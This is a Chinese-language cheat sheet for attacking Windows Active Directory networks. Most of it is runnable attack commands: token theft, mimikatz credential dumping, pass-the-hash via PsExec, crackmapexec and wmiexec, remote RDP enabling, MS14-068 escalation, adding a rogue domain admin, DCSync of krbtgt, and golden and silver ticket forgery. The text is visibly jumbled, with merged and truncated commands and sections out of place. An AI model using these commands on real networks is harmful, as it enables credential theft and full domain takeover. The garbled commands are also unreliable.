內網滲透TIPS總結
內網滲透思路
通過域成員主機,定位出 域控制器 IP 及域管理員賬號,利用域成員主機作為跳板,擴大滲透范圍,利用域管理員可以登陸域中任何成員主機的特性,定位出域管理員登陸過的主機 IP,設法從域成員主機內存中 dump 出域管理員密碼,進而拿下域控制器、滲透整個內網。
內網基礎知識
1、工作組:
工作組是 局域網 中的一個概念,他是長久的資源管理模式。默認情況下使用工作組方式進行資源管理,將不同的 computer 按照不同的要求分類到不同的組。
2、域:
用來描述一種架構,和“工作組”相對應,由工作組升級而來的高級架構,域(Domain)是一個有安全邊界的計算機集合(安全邊界,意思是在兩個域中,一個域中的用戶無法訪問另一個域中的資源)。可以簡單的把域理解成升級版的“工作組”,相比工作組而言,它有一個更加嚴格的安全管理控制機制,如果你想訪問域內的資源,就必須擁有一個合法的身份登陸到該域中,而你對該域內的資源擁有什么樣的權限,還需要取決于你在該域中的用戶身份。
3、域名服務器 DNS
是指用于實現域名和與之相對應的 IP 地址轉換 的服務器。而實際上,因為域名的計算機是使用DNS 來定位域控制器、服務器及其他計算機、網絡服務的,所以域的名字就是DNS 域的名字。在內網滲透測試中,大都是通過尋找 DNS 服務器來確定域控制器的位置的。
4、域控內部
**NTDS.dit:**域用戶帳戶以域數據庫的形式保存在活動目錄中 Ntdsutil.exe-ntdsutil.exe:是域控制器自帶的域數據庫管理工具,從 windowsServer 2008 開始就默認自帶了。因此我們可以通過 ntdsutil.exe 提取出域中所有的域用戶信息
5、活動目錄
帳號集中管理:所有帳號均存在服務器上,方便對帳號的重命名/重置密碼。軟件集中管理:統一推送軟件,統一安裝網絡打印機等。利用軟件發布策略分發軟件,可以讓用戶自由選擇安裝軟件。環境集中管理:利用 AD 可以統一客戶端桌面,IE,TCP/IP 等設置。增強安全性:統一部署殺毒軟件和掃毒任務,集中化管理用戶的計算機權限、統一制訂用戶密碼策略等,可監控網絡,資料統一管理。更可靠:更少的宕機時間。如:利用 AD 控制用戶訪問權限,利用群集、負載均衡等技術對文件服務器進行容災設定,更可靠,宕機時間更少。活動目錄為 Microsoft 統一管理的基礎平臺,其它 ISA、Exchange、SMS 等服務都依賴于這個基礎平臺。
域信息收集
一、常用命令
query user || qwinsta 查看當前在線用戶net user 查看本機用戶net user /domain 查看域用戶net view & net group "domain computers" /domain 查看當前域計算機列表 第二個查的更多net view /domain 查看有幾個域net view \\\\dc 查看 dc 域內共享文件net group /domain 查看域里面的組net group "domain admins" /domain 查看域管net localgroup administrators /domain /這個也是查域管,是升級為域控時,本地賬戶也成為域管net group "domain controllers" /domain 域控net time /domainnet config workstation 當前登錄域 - 計算機名 - 用戶名net use \\\\域控(如 pc.xx.com) password /user:xxx.com\username 相當于這個帳號登錄域內主機,可訪問資源ipconfig
二、查找域服務器
三、查詢域控
ping darkid.hack.comnslookup darkid.hack.com
四、主機發現
arp -a 查詢通信nbtscan 發現主機nbtscan.exe -r 192.168.0.1/24
bat命令發現主機
for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1|find /i "ttl="
通過powershell腳本掃描
powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep StartAddress 192.168.1.0 -En腳本下載地址:https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b#針對單個 IP 的多個端口的掃描:1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.246.44",$_)) "Port $_ is open!"}2>$null#針對某 IP 段中單個端口的掃描:foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}#針對某 IP 段 & 多個端口的掃描器1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$
使用MSF進行掃描
使用 msf 進行反彈 shell 進行內網滲透時,通過 msf 自帶的掃描模塊進行快速掃描。#主機存活探測:auxiliary/scanner/discovery/arp_sweep ARP 掃描auxiliary/scanner/discovery/udp_sweep UDP 掃描auxiliary/scanner/netbios/nbname NETBIOS 掃描auxiliary/scanner/snmp/snmp_enum SNMP 掃描auxiliary/scanner/smb/smb_version SMB 掃描#端口掃描:auxiliary/scanner/portscan/ack TCP ACK 端口掃描auxiliary/scanner/portscan/ftpbounce FTP bounce 端口掃描auxiliary/scanner/portscan/syn SYN 端口掃描auxiliary/scanner/portscan/tcp TCP 端口掃描auxiliary/scanner/portscan/xmas TCP XMas 端口掃描
內網滲透中的token
概述:令牌(token)是系統的臨時秘鑰,相當于賬號和密碼,用來決定是否允許這次請求和判斷這次請求是屬于哪一個用戶的。它允許你在不提供密碼或其他憑證的前
提下,訪問網絡和系統資源,這些令牌將持續存在于系統中,除非系統重新啟動。令牌最大的特點就是隨機性,不可預測,黑客或軟件無法猜測出令牌。
net time #查詢域中的時間,會請求域控net config workstation #查看當前工作環境nltest /dclist:域后綴 #查詢域控 powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep StartAddress 192.168.1.0 -En腳本下載地址:https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b
#針對單個 IP 的多個端口的掃描:
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.246.44",$_)) "Port $_ is open!"}
#針對某 IP 段中單個端口的掃描:
foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}
#使用 msf 進行反彈 shell 進行內網滲透時,通過 msf 自帶的掃描模塊進行快速掃描。#主機存活探測:
auxiliary/scanner/discovery/arp_sweep ARP 掃描auxiliary/scanner/discovery/udp_sweep UDP 掃描auxiliary/scanner/netbios/nbname NETBIOS 掃描auxiliary/scanner/snmp/snmp_enum SNMP 掃描auxiliary/scanner/smb/smb_version SMB 掃描
#端口掃描:
auxiliary/scanner/portscan/ack TCP ACK 端口掃描auxiliary/scanner/portscan/ftpbounce FTP bounce 端口掃描auxiliary/scanner/portscan/syn SYN 端口掃描auxiliary/scanner/portscan/tcp TCP 端口掃描auxiliary/scanner/portscan/xmas TCP XMas 端口掃描
一、描述
1、攻擊手段
假冒令牌可以假冒一個網絡中的另一個用戶進行各類操作。所以當一個攻擊者需要域管理員的操作權限時候,需要通過假冒域管理員的令牌進行攻擊。
2、令牌的種類
訪問令牌(Access Token):表示訪問控制操作主體的系統對象
會話令牌(Session Token):是交互會話中唯一的身份標識符
密保令牌(Security Token):又叫做認證令牌或硬件令牌,是一種計算機身份校驗的物理設備,例如 U 盾
3、Windows的access token的類型
delegation token:授權令牌,支持交互式會話登錄
impersonation token:模擬令牌,非交互式令牌
【注】兩種 token 只在系統重啟后清除 具有 Delegation token 的用戶在注銷后,該 Token 將變成 Impersonation token,依舊有效。
二、AccessToken 的竊取與利用
1、前提
AccessToken 的竊取與利用需要 administrator 管理員權限。
2、竊取access token的方法
incognito.exe 程序
InvokeTokenManipulat.ps1 腳本
MSF 里的 incognito 模塊
3、incognito
程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
4、msf竊取token
橫向滲透
一、PTH(pass the hash)
概述:pass-the-hash 在內網滲透中是一種很經典的攻擊方式,原理就是攻擊者可以直接通過 LM Hash 和 NTLM Hash 訪問遠程主機或服務,而不用提供明文密碼。
1、pass the hash的原理
在Windows系統中,通常會使用NTLM身份認證
#AccessToken 的列舉
incognito.exe list_tokens -u
#操作
incognito.exe execute -c "完整的 Token 名" cmd.exeincognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exeuse incognito #加載 incognitolist_tokens -u #列出 AccessTokengetuid #查看當前 tokenimpersonate_token "NT AUTHORITY\SYSTEM" #模擬 system 用戶,getsystem 命令即實現了該命令。如果要模擬其他用戶,將 token 名改為其他用戶即
ps #列出進程pid
steal_token 1252 #從進程竊取 tokengetsystem #提升至 system 權限rev2self #返回到之前的 AccessToken 權限
NTLM認證不使用明文口令,而是使用加密后的hash值,hash值由系統API生成
hash分為LM hash 和NTLM hash,如果密碼大于15位則無法生成LM hash,從2008以后微軟禁用LM hash
攻擊者獲取了hash,就可以在身份認證的時候模擬該用戶(跳過調用API生成hash的過程)
2、適用范圍
域環境/工作組環境
可以獲取hash,但是條件是不允許爆破hash
內網中存在和當前機器相同的密碼
3、關于微軟補丁和禁用
在打了補丁后,常規的 Pass The Hash 已經無法成功,唯獨默認的 Administrator(SID 500)賬號例外,利用這個賬號
仍可以進行 Pass The Hash 遠程 ipc 連接。
如果禁用了 ntlm 認證,PsExec 無法利用獲得的 ntlm hash 進行遠程連接,但是使用 mimikatz 還是可以攻擊成功。
從 windows 到 windows 橫向 pth 這一類攻擊方法比較廣泛。
4、攻擊
使用mimikatz
得到hash后
成功后 會彈出終端 cmd。此時的cmd中以及導入了hash可以進行ipc等連接
二、Psexec
1、概述
psexec 是 windows 官方自帶的,不會存在查殺問題,屬于 pstools 利用 PsExec 可以在遠程計算機上執行命令,其基本原理是通過管道在遠程目標主
機上創建一個psexec 服務,并在本地磁盤中生成一個名為 PSEXESVC 的二進制文件,然后通過psexec 服務運行命令,運行結束后刪除服務。
2、條件
利用 SMB 服務可以通過明文或 hash 傳遞來遠程執行,條件 445 服務端口開放。對方開放 445 端口,就相當于開放了 smb 協議。且防火墻要關閉。
3、明文連接
4、hash連接
出現錯誤的情況可以使用impacket工具包下的psexec連接
privilege::debugsekurlsa::logonpasswordsmimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txtprivilege::debugsekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc5e9cba88547376818d4
#命令
PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456cmdPsExec.exe /accepteula /s \\192.168.0.141 -u Administrator -p 123456 cmd /c "ipconfig"
#參數
-accepteula 第一次運行 PsExec 會彈出確認框,使用該參數就不會彈出確認框-s 以 System 權限運行遠程進程,如果不用這個參數,就會獲得一個對應用戶權限的 shell直接直接執行回顯-u 域\用戶名-p 密碼
#命令
psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123
5、psexec注意事項
需要遠程系統開啟 admin$ 共享(默認是開啟的)
因為 PsExec 連接的原理是基于 IPC 共享,因此目標需要開放 445 端口
在使用 IPC$ 連接目標系統后,不需要輸入賬戶和密碼。
在使用 PsExec 執行遠程命令時,會在目標系統中創建一個 psexec 的服務,命令執行完后,psexec 服務將被自動刪除。由于創建或刪除服務時會
產生大量的日志,因此藍隊在溯源時可以通過日志反推攻擊流程。
使用 PsExec 可以直接獲得 System 權限的交互式 Shell 的前提目標是administrator 權限的 shell
在域環境測試時發現,非域用戶無法利用內存中的票據使用 PsExec 功能,只能依靠賬號和密碼進行傳遞。
6、登陸域管理命令
impacket 下的 psexec
python3 psexec.py darkid/Administrator@192.168.0.142
執行命令后輸入密碼
登陸其他主機管理員
psexec /accepteula /s \12server1 -u Administrator -p 123456 cmd
三、msf的smb連接
1、使用
2、crackmapexec
CrackMapExec 可以對 C 段中的主機進行批量 pth,
項目地址:https://github.com/byt3bl33d3r/CrackMapExec.git
使用命令
四、WMI橫向
1、概述
WMI 全稱 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系統都支持 WMI。由于 Windows 默認不會將 WMI 的操作記錄在日志里,同時現在越來越多的殺軟將PsExec 加入了黑名單,因此 WMI 比 PsExec 隱蔽性要更好一些。WMI 連接遠程主機,并使用目標系統的 cmd.exe 執行命令,將執行結果保存在目標主機 C 盤的 ip.txt 文件中
2、條件
使用 WMIC 連接遠程主機,需要目標主機開放 135 和 445 端口( 135 端?是 WMIC 默認的管理端?,wimcexec 使?445 端?傳回顯
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123use exploit/windows/smb/psexecset SMBUser Administratorset rhosts 192.168.0.141set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4runcrackmapexec smb 192.168.0.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4對 192.168.9.0/24 C 段進行批量 pass the hash
3、wmi使用命令
通過wmi執行ipconfig命令
建立ipc連接,讀取內容
4、wmiexec.py利用
在 impacket 工具包里有 wmiexec.py 腳本,執行 whoami 命令
【注】wmiexec.py 的 hash 參數格式為 LM Hash:NT Hash aad3b435b51404eeaad3b435b51404ee 這個部分可以隨便填寫
wmiexec.py 明文獲取 shell
5、powershell的wmi
Invoke-WmiCommand
Invoke-WMIMethod
6、wmic 的其他命令
使用 wmic 遠程開啟目標的 RDP
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt" net use \\192.168.0.123\ipc$ "123456" /user:administratortype \\192.168.0.123\c$\ip.txt python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 Administrator@192.168.0.141 "whoami python3 wmiexec.py administrator:123456@192.168.0.123
Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,該腳本是利用Powershell 調用 WMI 來遠程執行命令。在 Powershell 中運行以下命令
# 導入 Invoke-WmiCommand.ps1 腳本
Import-Module .\Invoke-WmiCommand.ps1
# 指定目標系統用戶名
$User = ".\administrator"
# 指定目標系統的密碼
$Password = ConvertTo-SecureString -String "123456" -AsPlainText -Force
# 將賬號和密碼整合起來,以便導入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList $User,$Password
# 指定要執行的命令和目標 IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.0.123
# 將執行結果輸出到屏幕上
$Remote.PayloadOutput
Invoke-WMIMethod 是 PowerShell 自帶的一個模塊,也可以用它來連接遠程計算機執行命令和指定程序。
# 指定目標系統用戶名
$User=".\administrator"
# 指定目標系統密碼
$Password=ConvertTo-SecureString -String "123456" -AsPlainText -Force
# 將賬號和密碼整合起來,以便導入 Credential 中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
# 在遠程系統中運行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.0.123" -Credential $Cred
# 適于 Windows xp、server 2003
wmic /node:192.168.7.7 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowT
判斷 RDP 有沒有開可以使用以下命令,如果返回 0 表示開啟,返回 1 表示關閉。
遠程重啟
票據傳遞攻擊(PTT)
一、域內常用的兩種攻擊方式:
1、黃金票據 Golden ticket
2、白銀票據 Silver ticket
二、金票 Golden ticket
1、原理
在 Kerberos 認證中,Client 通過 AS(身份認證服務)認證后,AS 會給 Client 一個Logon Session Key 和 TGT,而 Logon Session Key 并不會保存在 KDC
中,krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以偽造 TGT 和Logon Session Key 來進入下一步 Client 與 TGS 的交
互。而已有了金票后,就跳過AS 驗證,不用驗證賬戶和密碼,所以也不擔心域管密碼修改。
2、特點
不需要與 AS 進行交互,需要用戶 krbtgt 的 Hash
3、偽造憑據,提升域內普通用戶的權限(MS14-068)
以一個本地 administrator 用戶登錄域內的一個主機中。
通過命令:net config workstation,獲取域信息
通過命令:nltest /dsgetdc:域名,獲取DC主機名
上傳 mimikatz,以管理員權限運行 CMD,再去執行 mimikatz
利用 MS14-068 來提權,先檢查下是否有 MS14-068, CVE 編號 CVE-2014-6324,補丁為 3011780 :systeminfo |find “3011780”,如果返回為空就
說明沒有打補丁,存在漏洞,需要注意的是域內普通用戶提權成功后是有時效性的。
上傳 mimikatz 和 MS14-068 提權工具,whoami /user 或者 whoami/all 查看 test用戶的 SID
使用 MS14-068 偽造票據
使用方法
# 適于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改為目標的 hostname
wmic /node:192.168.0.123 /user:administrator /password:123456 RDTOGGLE WHERE ServerName='計算機名' call SetAllowTSConnections 1
#或者
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentContro REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnectionswmic /node:192.168.0.141 /user:administrator /password:123456 process call create "shutdown.exe -r -f -t 0"mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
#執行命令:
ms14-068.exe -u test@moonhack.com -p 123456 -s S-1-5-21-3439616436-2844000184-3841763578-1105 -d 08server-ad.moonhack.com,ms14-068.exe -u 域成員名@域名 -p 域成員密碼 -s 域成員 sid -d 域控制器地址使用 mimikatz 清空之前緩存的憑證,導入偽造的憑證:mimikatz # kerberos::purge //清空票據mimikatz # kerberos::ptc 票據文件地址
再輸入 dir \08server-ad.moonhack.com\c$,發現訪問成功,現在我們有域管的權限
添加域管賬號密碼
4、偽造金票
條件
使用一下命令導出用戶 krbtgt 的 hash:
利用 mimikatz 生成金票生成.kirbi 文件并保存
5、金票的使用
登錄域內普通用戶,通過 mimikatz 中的 kerberos::ptt 功能將 ticket.kirbi 導入內存中。
ipc連接訪問
三、銀票 Silver ticket
1、原理
如果說黃金票據是偽造的 TGT,那么白銀票據就是偽造的 ST。在 Kerberos 認證的第三部,Client 帶著 ST 和 Authenticator3 向 Server 上的某個服務進
行請求,Server 接收到 Client 的請求之后,通過自己的 Master Key 解密 ST,從而獲得 Session Key。通過 Session Key 解密 Authenticator3,進而驗證對
方的身份,驗證成功就讓 Client 訪問 server 上的指定服務了。所以我們只需要知道 Server 用戶的 Hash 就可以偽造出一個 ST,且不會經過 KDC,但是偽
造的門票只對部分服務起作用。
2、特點
不需要與 KDC 進行交互
需要 server 的 NTLM hash
3、kekeo偽造銀票
net user moonsec123 Qwe123... /add /domainnet group "Domain Admins" moonsec123 /add /domain
1、域名稱
2、域的 SID 值
3、域的 KRBTGT 賬號的 HASH
4、偽造任意用戶名
mimikatz(commandline) # privilege::debugmimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /all /csv或 lsadump::lsa /injectmimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /user:krbtgtmimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi /all /csv" "exit">loghash.txtmimikatz.exe "kerberos::golden /admin:system /domain:moonhack.com /sid:S-1-5-21-3439616436-2844000184-3841763578 /krbtgt:4c1d576
/admin:偽造的用戶名
/domain:域名稱
/sid:SID 值,注意是去掉最后一個-后面的值
/krbtgt:krbtgt 的 HASH 值
/ticket:生成的票據名稱 //不是寫入內存中的命令!
mimikatz # kerberos::purgemimikatz # kerberos::ptt C:\Users\test\ticket.kirbidir \\08server1.moonhack.com\c$
四、金票和銀票的區別
1、獲取的權限不同
金票:偽造的 TGT,可以獲取任意 Kerberos 的訪問權限
銀票:偽造的 ST,只能訪問指定的服務,如 CIFS
2、認證流程不同
金票:同 KDC 交互,但不同 AS 交互
銀票:不同 KDC 交互,直接訪問 Server
3、加密方式不同
金票:由 krbtgt NTLM Hash 加密
銀票:由服務賬號 NTLM Hash 加密
#制作
tgt::ask /user:administrator /domain:moonsec.fbi /ntlm:42e2656ec24331269f82160ff5962387// tgt::ask /user:用戶名 /domain:域名 /ntlm:NTLM Hash
#導入
kerberos::ptt TGT_administrator@MOONSEC.FBI_krbtgt~moonsec.fbi@MOONSEC.FBI.kirb